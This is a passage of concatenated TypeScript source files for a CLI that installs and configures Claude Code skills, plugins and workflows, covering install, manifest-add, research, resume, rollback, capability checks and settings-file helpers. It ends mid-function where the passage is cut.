IMPL NOTE (D-9 独立子命令 / D-11 三态 / Rule 1 H1 gate):\n// - D-9: 不在 `install <name>` 上加 `--base` flag, 避免 H1 gate 冲突. Auto-glob\n// `manifests/{tools,skill-packs}/*.yaml`.\n// - D-11: phase 2.1 placeholder method (cc-plugin-marketplace / git-clone-with-setup\n// / npx-skill-installer / mcp-http-add) 不算 failure 计入 skipped (沿袭\n// INSTALLER-CONTRACT 契约 6 放宽 \"deferred ≠ failure\").\n// exit: 0 if installed > 0 + failed === 0; 1 if failed > 0; 2 if 全 skipped.\n// - v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallOpts } from '../installers/lib/types.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\nasync function listBaseManifests(cwd: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(cwd, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(cwd, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerInstallBase(program: Command): void {\n program\n .command('install-base')\n .description(\n 'Install the phase 1.3 base profile (immediate by default — use --dry-run for preview)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .action(async (raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install-base')\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: false,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: false,\n color: 'auto',\n }\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: { name: string; reason: string }[] = []\n const failed: { name: string; reason: string }[] = []\n for (const path of await listBaseManifests(getPackageRoot())) {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n failed.push({ name: path, reason: `read: ${(e as Error).message}` })\n continue\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n failed.push({ name: path, reason: `validate: ${v.errors[0]?.message ?? 'unknown'}` })\n continue\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) {\n skipped.push({ name, reason: `deferred phase 2.1 (${method})` })\n continue\n }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) skipped.push({ name, reason: `aborted: ${r.reason}` })\n else if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled) alreadyInstalled.push(name)\n else if (r.ok) installed.push(name)\n else failed.push({ name, reason: r.error.message })\n }\n console.log(\n `\\n installed: ${installed.length} / already-installed: ${alreadyInstalled.length} / skipped (deferred installer methods awaiting phase 2.1): ${skipped.length} / failed: ${failed.length}`,\n )\n for (const i of installed) console.log(` installed ${i}`)\n for (const a of alreadyInstalled)\n console.log(` already-installed ${a} — run \\`/mcp\\` in Claude Code to verify connection`)\n for (const s of skipped) console.log(` skipped ${s.name} — ${s.reason}`)\n for (const f of failed) console.error(` failed ${f.name} — ${f.reason}`)\n if (failed.length > 0) process.exit(1)\n if (installed.length === 0 && alreadyInstalled.length === 0) process.exit(2)\n process.exit(0)\n })\n}\n","// Phase 2.3 W3 T3.1 — `harnessed manifest-add` EE-5 5Q merge gate (D-03 BOTH).\n// Sister: execute-task.ts + research.ts; H1 gate. Storage: Path A sibling\n// manifests/<category>/<name>.ee5-answers.json (S2 fix — no provenance schema bump).\nimport { writeFileSync } from 'node:fs'\nimport { stdin, stdout } from 'node:process'\nimport * as readline from 'node:readline/promises'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\nconst QA: readonly { q: string; f: string }[] = [\n { q: '① 是真 reusable surface 还是临时 wrapper?', f: 'q1_reusable_surface' },\n { q: '② 上游名字 fit 项目 shape 吗? 有现有命名冲突吗?', f: 'q2_name_fit' },\n { q: '③ 与已装配组件有 overlap surface 吗?', f: 'q3_overlap' },\n { q: '④ 是 import 概念 (可控) 还是 import 别人产品身份 (高耦合)?', f: 'q4_concept_vs_identity' },\n { q: '⑤ user 不知 upstream 还能理解该装配吗?', f: 'q5_user_understanding' },\n] as const\n\ninterface RawOpts {\n category?: string\n name?: string\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nfunction basename(upstream: string): string {\n return (upstream.split('/').pop() ?? upstream).replace(/\\.git$/, '')\n}\n\nexport function registerManifestAdd(program: Command): void {\n program\n .command('manifest-add <upstream>')\n .description(\n 'Add a new upstream adapter (EE-5 5-question merge gate; immediate by default — use --dry-run for preview)',\n )\n .option('--category <cat>', 'manifest category (skill-packs | tools)', 'skill-packs')\n .option('--name <name>', 'short adapter name (defaults to <upstream> basename)')\n .option('--dry-run', 'preview only — do not write JSON (opt-in for advanced users)')\n .option('--non-interactive', 'CI/scripts — WARN-only dry-run')\n .action(async (upstream: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'manifest-add <upstream>')\n const name = raw.name ?? basename(upstream)\n const category = raw.category ?? 'skill-packs'\n const outPath = `manifests/${category}/${name}.ee5-answers.json`\n if (raw.nonInteractive) {\n console.warn(t('manifest_add.non_interactive_warn'))\n console.log(t('manifest_add.dry_run_preview', { upstream, path: outPath }))\n process.exit(0)\n }\n const rl = readline.createInterface({ input: stdin, output: stdout })\n const payload: Record<string, string> = {\n upstream,\n created_at: new Date().toISOString(),\n author: process.env.USER ?? process.env.USERNAME ?? 'unknown',\n }\n for (const { q, f } of QA) {\n const a = (await rl.question(`${q}\\n> `)).trim()\n if (!a) {\n console.error(t('manifest_add.empty_answer'))\n rl.close()\n process.exit(1)\n }\n payload[f] = a\n }\n rl.close()\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n if (!dryRun) {\n writeFileSync(outPath, `${JSON.stringify(payload, null, 2)}\\n`, 'utf8')\n console.log(t('manifest_add.gate_passed_wrote', { path: outPath }))\n } else {\n console.log(t('manifest_add.gate_passed_dry_run', { path: outPath }))\n console.log(JSON.stringify(payload, null, 2))\n }\n process.exit(0)\n })\n}\n","// Phase 1.4 T5.1 — `harnessed research <prompt>` independent subcommand.\n//\n// IMPL NOTE — D-15 独立子命令 (沿袭 D-9 install-base; 不在 install <name> 上加\n// flag 避免 H1 gate 冲突). KICKOFF C4 + D1.4-9 + Pattern G barrel import.\n//\n// v3.4.4 (Phase 4) — REFACTORED: research subcommand is now a thin alias to\n// `runWorkflow` (src/workflow/run.ts) targeting the already-v3\n// workflows/research/workflow.yaml. Subcommand surface unchanged\n// (--query / --dry-run / --non-interactive / --model + H1 gate + exit-code\n// semantics 0/1/2) → zero user-visible regression.\n//\n// Pre-Phase-4 body called `runRouting` (src/routing/engine.ts) — Phase 6 will\n// delete src/routing/ entirely; for now the routing/ module stays LIVE to\n// support legacy callers (src/routing-engine/ test fixtures + ralph-loop\n// wrapper). This file no longer imports from src/routing/.\n//\n// Exit codes (preserved from v3.3.0):\n// 0 → ok (workflow runtime completed successfully)\n// 1 → workflow runtime failed (status === 'failed' or thrown)\n// 2 → usage error (missing --query / yaml not found)\n// v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\nimport { resolveWorkflowYaml } from './run.js'\n\ninterface RawOpts {\n query?: string\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\nexport function registerResearch(program: Command): void {\n program\n .command('research')\n .description(\n 'Run research workflow (search category sub-routing → spawn → verbatim COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--query <text>', 'research prompt (required)')\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .action(async (raw: RawOpts) => {\n // H1 gate (sibling install-base.ts pattern)\n validateNonInteractiveFlags(raw, 'research --query <text>')\n if (!raw.query) {\n console.error(t('research.require_query'))\n process.exit(2)\n }\n\n // Resolve workflows/research/workflow.yaml (already v3 per Phase 2 Commit 1).\n const yamlPath = await resolveWorkflowYaml('research', WORKFLOWS_DIR)\n if (!yamlPath) {\n console.error(`error: workflows/research/workflow.yaml not found under ${WORKFLOWS_DIR}`)\n process.exit(2)\n return\n }\n\n // gateContext: --query → task; --model → modelOverride (captured for\n // Phase 5 sdkSpawn-level consumption; Phase 4 plumbs only).\n const gateContext: Record<string, unknown> = {\n task: raw.query,\n ...(raw.model ? { modelOverride: raw.model } : {}),\n }\n\n // Dry-run: universal Phase 1 JSON envelope shape (sister src/cli/run.ts:91).\n // Replaces v3.4.3 3-line t('research.dry_run.*') output.\n if (raw.dryRun === true) {\n console.log(JSON.stringify({ workflow: 'research', yamlPath, gateContext }, null, 2))\n process.exit(0)\n return\n }\n\n // Apply path: runWorkflow + fail-soft try/catch + exit 1 on failed.\n let result: Awaited<ReturnType<typeof runWorkflow>>\n try {\n result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n } catch (err) {\n console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n process.exit(1)\n return\n }\n process.exit(result.status === 'failed' ? 1 : 0)\n })\n}\n","// Phase 3.1 W4 T4.4 — `harnessed resume` 12th CLI subcommand (R7.3 D-03 RELOAD).\n// Sister: src/cli/doctor.ts L136-175 (--json flag + exit code pattern, PATTERNS § 1 #7 85% reuse).\n// Dynamic import of runResume matches doctor.ts L131 lazy-load pattern (CI-friendly + smaller cold-start).\n\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\n\nexport function registerResume(program: Command): void {\n program\n .command('resume')\n .description(\n 'Reload checkpoint from paused workflow + print resume hint (D-03 — user invokes phase command manually)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n const { runResume } = await import('../checkpoint/resume.js')\n const r = await runResume()\n if (opts.json) {\n console.log(JSON.stringify(r, null, 2))\n process.exit(r.status === 'ok' ? 0 : 1)\n return\n }\n if (r.status === 'no-paused-phase') {\n console.error(t('resume.fail', { error: r.error }))\n process.exit(1)\n }\n if (r.status === 'corrupt') {\n console.error(t('resume.corrupt', { error: r.error, path: r.path }))\n process.exit(1)\n }\n if (r.cwdWarn) console.error(r.cwdWarn)\n console.log(`phase: ${r.checkpoint.phase}`)\n console.log(`last_task: ${r.checkpoint.last_task}`)\n if (r.checkpoint.key_decisions.length) {\n console.log(`key_decisions: ${r.checkpoint.key_decisions.slice(0, 5).join(', ')}`)\n }\n if (r.checkpoint.canonical_refs.length) {\n console.log(`canonical_refs: ${r.checkpoint.canonical_refs.slice(0, 3).join(', ')}`)\n }\n console.log(r.resumeHint)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `rollback` per ADR 0004 § 3 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3 — CRLF/LF preservation): each backup\n// metadata.json file entry records `eol: 'lf' | 'crlf'` from the original\n// on-disk content (lib/backup.ts detects via Buffer.includes('\\r\\n')). On\n// restore we MUST honor that field — naive `fs.writeFile(buf)` would\n// otherwise round-trip CRLF→LF on Win→Unix migrations or vice versa, mutating\n// the user's original file content. We restore by converting buf to a string\n// then re-emitting with the recorded eol convention.\n//\n// IMPL NOTE (Rule 1 / ENOENT pure-create sentinel): backup() records files\n// that did not yet exist (oldText === '' + ENOENT) as `{ backup: '', sha1: '' }`.\n// On rollback this means \"delete the target file\" rather than \"restore\". We\n// honor that sentinel by calling unlink() instead of writeFile().\n\nimport { createHash } from 'node:crypto'\nimport { readFile, unlink, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupFileEntry {\n target: string\n backup: string\n sha1: string\n eol: 'lf' | 'crlf'\n}\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: BackupFileEntry[]\n}\n\nfunction normalizeEol(buf: Buffer, eol: 'lf' | 'crlf'): Buffer {\n // Convert all line endings to LF first, then to target convention.\n const lf = buf.toString('utf8').replace(/\\r\\n/g, '\\n')\n return Buffer.from(eol === 'crlf' ? lf.replace(/\\n/g, '\\r\\n') : lf, 'utf8')\n}\n\nexport function registerRollback(program: Command): void {\n program\n .command('rollback <timestamp>')\n .description('Restore files from a backup snapshot (preserves original LF/CRLF)')\n .action(async (timestamp: string) => {\n const dir = join(getBackupRoot(), timestamp)\n const metaPath = join(dir, 'metadata.json')\n let meta: BackupMetadata\n try {\n meta = JSON.parse(await readFile(metaPath, 'utf8')) as BackupMetadata\n } catch (err) {\n console.error(\n `${t('rollback.metadata_unreadable', { path: metaPath, message: (err as Error).message })}\\n${t('rollback.metadata_unreadable.fix')}`,\n )\n process.exit(1)\n return\n }\n // Reverse iteration so files restored later (higher in dependency chain) come first.\n for (const entry of [...meta.files].reverse()) {\n if (entry.backup === '') {\n // Pure-create sentinel — original file did not exist; rollback = unlink.\n try {\n await unlink(entry.target)\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n console.error(`error: cannot unlink ${entry.target}: ${(err as Error).message}`)\n process.exit(1)\n return\n }\n }\n continue\n }\n const buf = await readFile(entry.backup)\n const sha1 = createHash('sha1').update(buf).digest('hex')\n if (sha1 !== entry.sha1) {\n console.error(\n t('rollback.checksum_mismatch', {\n target: entry.target,\n expected: entry.sha1.slice(0, 12),\n actual: sha1.slice(0, 12),\n }),\n )\n process.exit(1)\n return\n }\n await writeFile(entry.target, normalizeEol(buf, entry.eol))\n }\n console.log(t('rollback.restored', { count: meta.files.length, timestamp }))\n })\n}\n","// v3.4.2 redesign — Capability presence resolver for SKILL.md template rendering.\n//\n// Background (why v3.4.1 was wrong):\n// v3.4.1 assumed every external slash command came from a Claude Code marketplace\n// plugin and rendered as `/<plugin-name>:<bare>` (e.g. `/gstack:review`). User\n// dogfood install verified this is false on TWO fronts:\n// (a) gstack / mattpocock / gsd are user-skills (git clone into\n// ~/.claude/skills/<x>/), NOT plugins. They never appear in\n// installed_plugins.json.\n// (b) Claude Code plugin slash-commands themselves are bare too — a plugin's\n// `commands/<x>.md` file becomes `/<x>` directly with NO `<plugin>:`\n// prefix. (Verified against the real `code-review` plugin layout:\n// `~/.claude/plugins/cache/.../code-review/.../commands/code-review.md`\n// → slash `/code-review`, not `/code-review:code-review`.)\n// So v3.4.1's whole `/<ns>:<bare>` mutation was misguided. The cmd field in\n// capabilities.yaml already holds the actual invocable slash command verbatim.\n//\n// Design (v3.4.2):\n// The resolver no longer mutates cmd. It only PRESENCE-CHECKS the backing\n// capability and emits a warning when declared but missing. Two install paths:\n//\n// install_type: plugin → look up `plugin_id` in\n// ~/.claude/plugins/installed_plugins.json\n// (key prefix before `@`).\n// install_type: user-skill → look up `skill_dir` directory under\n// ~/.claude/skills/<skill_dir>/.\n// install_type omitted → no check (built-in / cli / mcp / sentinel /\n// pre-namespaced superpowers cmds).\n//\n// Both `plugin_id` and `skill_dir` are explicit (no auto-derivation from capability\n// key). Explicit > implicit when one capability key (e.g. `gstack-review`) maps to\n// a different lookup id (`gstack` skill_dir). Karpathy simplicity: explicit fields\n// avoid magic, schema stays additive, future capabilities are obvious.\n\nimport { readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/** Minimal shape needed from capabilities.yaml — additive yaml-tolerant. */\nexport interface CapabilityEntry {\n cmd: string\n impl?: string\n /**\n * v3.4.2: which presence-check path(s) to run. Omit for no check.\n *\n * Single value (e.g. `'plugin'` or `'user-skill'`) → check that one path only.\n *\n * Array (e.g. `['plugin', 'user-skill']`) → \"互为补充\" dual-install support:\n * resolver tries each declared path; **any one detected = OK no warning**.\n * Only if ALL declared paths are missing does it emit a combined warning\n * listing every install method. Both `plugin_id` and `skill_dir` should be\n * populated when the array form is used so each path has a concrete lookup.\n */\n install_type?: 'plugin' | 'user-skill' | ReadonlyArray<'plugin' | 'user-skill'>\n /** v3.4.2: lookup key in installed_plugins.json (left side of `<name>@<marketplace>`). */\n plugin_id?: string\n /** v3.4.2: lookup directory under ~/.claude/skills/. */\n skill_dir?: string\n}\n\n/** Capabilities map keyed by capability name (e.g. `gstack-review` → entry). */\nexport type CapabilityMap = Record<string, CapabilityEntry>\n\n/** Resolver result for a single capability cmd render. */\nexport interface ResolvedCmd {\n /** ALWAYS = cmd unchanged. Resolver never mutates the cmd. */\n renderedCmd: string\n /** Populated when install_type declared but capability not detected on disk. */\n warning?: string\n}\n\n/**\n * Parse `~/.claude/plugins/installed_plugins.json` → Set of installed plugin names.\n *\n * File shape (verified 2026-05-24 on user's machine):\n * { version: 2, plugins: { \"<pluginName>@<marketplaceId>\": [{ ... }], ... } }\n *\n * The `<pluginName>` portion (left of `@`) is what we match against\n * `capability.plugin_id`. Tolerant of missing/malformed file — returns empty Set\n * so setup remains non-blocking on discovery failure (sister fallback 铁律 1).\n */\nexport function readInstalledPlugins(homedirOverride?: string): Set<string> {\n const home = homedirOverride ?? homedir()\n const path = join(home, '.claude', 'plugins', 'installed_plugins.json')\n let raw: string\n try {\n raw = readFileSync(path, 'utf8')\n } catch {\n return new Set()\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return new Set()\n }\n if (!parsed || typeof parsed !== 'object') return new Set()\n const plugins = (parsed as { plugins?: unknown }).plugins\n if (!plugins || typeof plugins !== 'object') return new Set()\n const out = new Set<string>()\n for (const key of Object.keys(plugins)) {\n const at = key.indexOf('@')\n if (at <= 0) continue // defensive: skip malformed keys without `@` separator\n out.add(key.slice(0, at))\n }\n return out\n}\n\n/**\n * List directories under `~/.claude/skills/` → Set of installed user-skill dir\n * names. Each directory represents one user-skill (whether single-skill flat\n * dir like `diagnose/SKILL.md`, or umbrella dir like `gstack/<sub>/SKILL.md`).\n *\n * Tolerant of missing skills dir (returns empty Set) — first-time users with no\n * user-skills installed simply see warnings for any user-skill capabilities.\n */\nexport function readInstalledUserSkills(homedirOverride?: string): Set<string> {\n const home = homedirOverride ?? homedir()\n const skillsRoot = join(home, '.claude', 'skills')\n try {\n const entries = readdirSync(skillsRoot, { withFileTypes: true })\n const out = new Set<string>()\n for (const e of entries) if (e.isDirectory()) out.add(e.name)\n return out\n } catch {\n return new Set()\n }\n}\n\n/**\n * Resolve a single capability presence + return cmd UNCHANGED + optional warning.\n *\n * - install_type omitted → return cmd unchanged, no check, no warning.\n * - install_type: plugin AND plugin_id present in installedPlugins → cmd\n * unchanged, no warning.\n * - install_type: plugin AND plugin_id MISSING → cmd unchanged, warning with\n * plugin install hint.\n * - install_type: user-skill AND skill_dir present in installedUserSkills →\n * cmd unchanged, no warning.\n * - install_type: user-skill AND skill_dir MISSING → cmd unchanged, warning\n * with git-clone install hint.\n *\n * Missing `plugin_id` / `skill_dir` for the corresponding install_type emits\n * a schema-level warning (config bug — capability misdeclared).\n */\nexport function resolveCapabilityCmd(\n capability: CapabilityEntry,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n): ResolvedCmd {\n const { cmd, install_type, plugin_id, skill_dir } = capability\n\n if (!install_type) return { renderedCmd: cmd }\n\n // Normalize single string → array. Array form (\"互为补充\" dual-install):\n // any one path detected = OK no warning; ALL missing = combined warning.\n const types = Array.isArray(install_type) ? install_type : [install_type]\n\n // De-dupe + preserve declared order (stable for consistent warning text).\n const uniqueTypes = [...new Set(types)]\n\n // Per-path probe; collect missing hints + detect any hit.\n const missingHints: string[] = []\n let anyDetected = false\n\n for (const t of uniqueTypes) {\n if (t === 'plugin') {\n if (!plugin_id) {\n missingHints.push(\n `install_type=plugin declared but no plugin_id (capabilities.yaml schema bug)`,\n )\n continue\n }\n if (installedPlugins.has(plugin_id)) {\n anyDetected = true\n break // short-circuit on first hit\n }\n missingHints.push(`plugin '${plugin_id}' (\\`claude plugin install ${plugin_id}\\`)`)\n } else {\n // 'user-skill'\n if (!skill_dir) {\n missingHints.push(\n `install_type=user-skill declared but no skill_dir (capabilities.yaml schema bug)`,\n )\n continue\n }\n if (installedUserSkills.has(skill_dir)) {\n anyDetected = true\n break\n }\n missingHints.push(\n `user-skill '${skill_dir}' under ~/.claude/skills/ (git clone the official repo; e.g. gstack: \\`git clone https://github.com/garrytan/gstack.git ~/.claude/skills/gstack && cd ~/.claude/skills/gstack && ./setup\\`)`,\n )\n }\n }\n\n if (anyDetected) return { renderedCmd: cmd }\n\n // All declared paths missing. Combined warning lists every install method.\n const prefix = uniqueTypes.length > 1 ? '[multi]' : `[${uniqueTypes[0]}]`\n const joined = missingHints.join(' OR ')\n return {\n renderedCmd: cmd,\n warning: `${prefix} '${cmd}' backing missing — install either: ${joined}.`,\n }\n}\n\n/** Regex matches `{{ capabilities.<name>.cmd }}` allowing flexible whitespace. */\nconst CAPABILITY_CMD_TEMPLATE = /\\{\\{\\s*capabilities\\.([a-zA-Z0-9_-]+)\\.cmd\\s*\\}\\}/g\n\n/** Result of rendering a SKILL.md body. */\nexport interface RenderedSkill {\n /** SKILL.md body with all `{{ capabilities.*.cmd }}` placeholders replaced. */\n body: string\n /** Unique warning lines collected (deduped) — caller emits as summary block. */\n warnings: string[]\n}\n\n/**\n * Render all `{{ capabilities.<name>.cmd }}` placeholders in a SKILL.md body.\n *\n * - Unknown capability name → leave placeholder verbatim + emit warning (so\n * broken refs are visible in the rendered file AND in the setup summary).\n * - Per-capability resolver warnings (plugin/user-skill missing) deduplicated\n * across multiple references within and across files.\n */\nexport function renderSkillBody(\n body: string,\n capabilities: CapabilityMap,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n): RenderedSkill {\n const warningsSet = new Set<string>()\n const out = body.replace(CAPABILITY_CMD_TEMPLATE, (match, name: string) => {\n const cap = capabilities[name]\n if (!cap) {\n warningsSet.add(\n `capability '${name}' referenced in SKILL.md but not defined in capabilities.yaml`,\n )\n return match // preserve literal so issue is visible to skill consumer\n }\n const { renderedCmd, warning } = resolveCapabilityCmd(\n cap,\n installedPlugins,\n installedUserSkills,\n )\n if (warning) warningsSet.add(warning)\n return renderedCmd\n })\n return { body: out, warnings: [...warningsSet] }\n}\n","// v3.3.1 hotfix — auto-enable Agent Teams in ~/.claude/settings.json during `harnessed setup`.\n// Sister checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED): mirror probe logic but WRITE-side.\n// Q-AUDIT-5b LOCKED: schema is root-level `env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS`\n// NOT nested `experimental.*`.\n//\n// Behavior (3 case + non-destructive merge):\n// (a) file 不存在 → create with `{env: {CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: \"1\"}}`\n// (b) file 存在 + env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS === \"1\" → idempotent no-op\n// (c) file 存在 + 缺 key OR key !== \"1\" → backup original + merge add/update key\n//\n// Backup goes to `~/.claude/harnessed/backups/settings.json.{ISO-ts}.bak` (sister v3.0.3\n// getHarnessedRoot pattern via harnessedSubdir). Atomic write via tmpPath + rename.\n// Any error → warn + skip (sister fallback 铁律 1 透明声明), NOT throw — non-blocking setup.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport { harnessedSubdir } from '../../installers/lib/harnessedRoot.js'\n\nexport type EnableResult =\n | { status: 'created'; path: string }\n | { status: 'already-enabled'; path: string }\n | { status: 'enabled'; path: string; backupPath: string }\n | { status: 'warn'; message: string }\n\nfunction settingsPath(): string {\n return resolve(homedir(), '.claude', 'settings.json')\n}\n\nexport async function enableAgentTeamsInSettings(): Promise<EnableResult> {\n const path = settingsPath()\n let raw: string | undefined\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n return { status: 'warn', message: `read ${path} failed: ${(err as Error).message}` }\n }\n // Case (a): file does not exist → create fresh.\n return createFreshSettings(path)\n }\n\n let data: Record<string, unknown>\n try {\n const parsed = JSON.parse(raw) as unknown\n if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {\n return { status: 'warn', message: `${path} is not a JSON object` }\n }\n data = parsed as Record<string, unknown>\n } catch (err) {\n return { status: 'warn', message: `${path} malformed JSON: ${(err as Error).message}` }\n }\n\n const env = (data.env ?? {}) as Record<string, unknown>\n if (env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS === '1') {\n return { status: 'already-enabled', path } // Case (b): idempotent.\n }\n\n // Case (c): backup original + merge add/update key (non-destructive).\n const backupPath = await backupOriginal(raw)\n if (backupPath.status === 'warn') return backupPath\n\n data.env = { ...env, CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1' }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n\n return { status: 'enabled', path, backupPath: backupPath.path }\n}\n\nasync function createFreshSettings(path: string): Promise<EnableResult> {\n const data = { env: { CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1' } }\n try {\n await mkdir(join(homedir(), '.claude'), { recursive: true })\n } catch (err) {\n return { status: 'warn', message: `mkdir ~/.claude failed: ${(err as Error).message}` }\n }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n return { status: 'created', path }\n}\n\nasync function backupOriginal(\n raw: string,\n): Promise<{ status: 'ok'; path: string } | { status: 'warn'; message: string }> {\n const backupRoot = harnessedSubdir('backups')\n const ts = new Date().toISOString().replace(/:/g, '-')\n const backupPath = join(backupRoot, `settings.json.${ts}.bak`)\n try {\n await mkdir(backupRoot, { recursive: true })\n await writeFile(backupPath, raw, 'utf8')\n return { status: 'ok', path: backupPath }\n } catch (err) {\n return { status: 'warn', message: `backup ${backupPath} failed: ${(err as Error).message}` }\n }\n}\n\nasync function atomicWrite(path: string, content: string): Promise<string | undefined> {\n const tmpPath = `${path}.tmp-${process.pid}-${Date.now()}`\n try {\n await writeFile(tmpPath, content, 'utf8')\n await rename(tmpPath, path)\n return undefined\n } catch (err) {\n return `write ${path} failed: ${(err as Error).message}`\n }\n}\n","// v3.4.0 NEW — auto-detect + write `env.HARNESSED_USER_LANG` in\n// ~/.claude/settings.json during `harnessed setup` Step D.\n//\n// Sister enableAgentTeamsInSettings.ts (v3.3.1 hotfix): mirror probe + 3-case\n// merge logic but for a different key. Q-AUDIT-5b LOCKED root-level env.*\n// schema preserved.\n//\n// Locale matching policy (LOCKED per v3.4.0 coordinator clarification):\n// - `zh*` (zh-CN / zh-Hans / zh-TW / zh.UTF-8 / etc.) → 'zh-Hans'\n// - Any other input (en / ko / ja / fr / de / es / etc.) → 'en'\n//\n// Behavior (3 case + non-destructive merge):\n// (a) file missing → create with {env:{HARNESSED_USER_LANG: detected}}\n// (b) env.HARNESSED_USER_LANG already set → idempotent no-op (respects override)\n// (c) file exists missing key OR explicit override → backup + merge update\n//\n// `--user-lang <code>` CLI override is honored when provided (forces detected = code).\n//\n// Backup → ~/.claude/harnessed/backups/settings.json.{ISO-ts}.bak.\n// Any error → warn + skip (sister fallback 铁律 1), NOT throw — non-blocking setup.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport { harnessedSubdir } from '../../installers/lib/harnessedRoot.js'\n\nexport type UserLangCode = 'en' | 'zh-Hans'\n\nexport type EnableUserLangResult =\n | { status: 'created'; path: string; detected: UserLangCode }\n | { status: 'already-set'; path: string; existing: string }\n | { status: 'enabled'; path: string; backupPath: string; detected: UserLangCode }\n | { status: 'warn'; message: string }\n\nfunction settingsPath(): string {\n return resolve(homedir(), '.claude', 'settings.json')\n}\n\n/**\n * Detect OS locale → 'zh-Hans' if zh*, else 'en'. Mirrors src/i18n/index.ts\n * `mapToSupported()` policy. Kept inline here (not imported from i18n) so the\n * helper has no cross-module coupling and the test fixture can override env\n * vars cleanly.\n */\nexport function detectUserLang(override?: string): UserLangCode {\n if (override) {\n if (/^zh([^a-z]|$)/i.test(override)) return 'zh-Hans'\n return 'en'\n }\n const raw =\n process.env.HARNESSED_LANG ||\n process.env.LC_ALL ||\n process.env.LANG ||\n process.env.LANGUAGE ||\n safeIntlLocale() ||\n ''\n if (/^zh([^a-z]|$)/i.test(raw)) return 'zh-Hans'\n return 'en'\n}\n\nfunction safeIntlLocale(): string | undefined {\n try {\n return Intl.DateTimeFormat().resolvedOptions().locale\n } catch {\n return undefined\n }\n}\n\nexport async function enableUserLangInSettings(override?: string): Promise<EnableUserLangResult> {\n const path = settingsPath()\n const detected 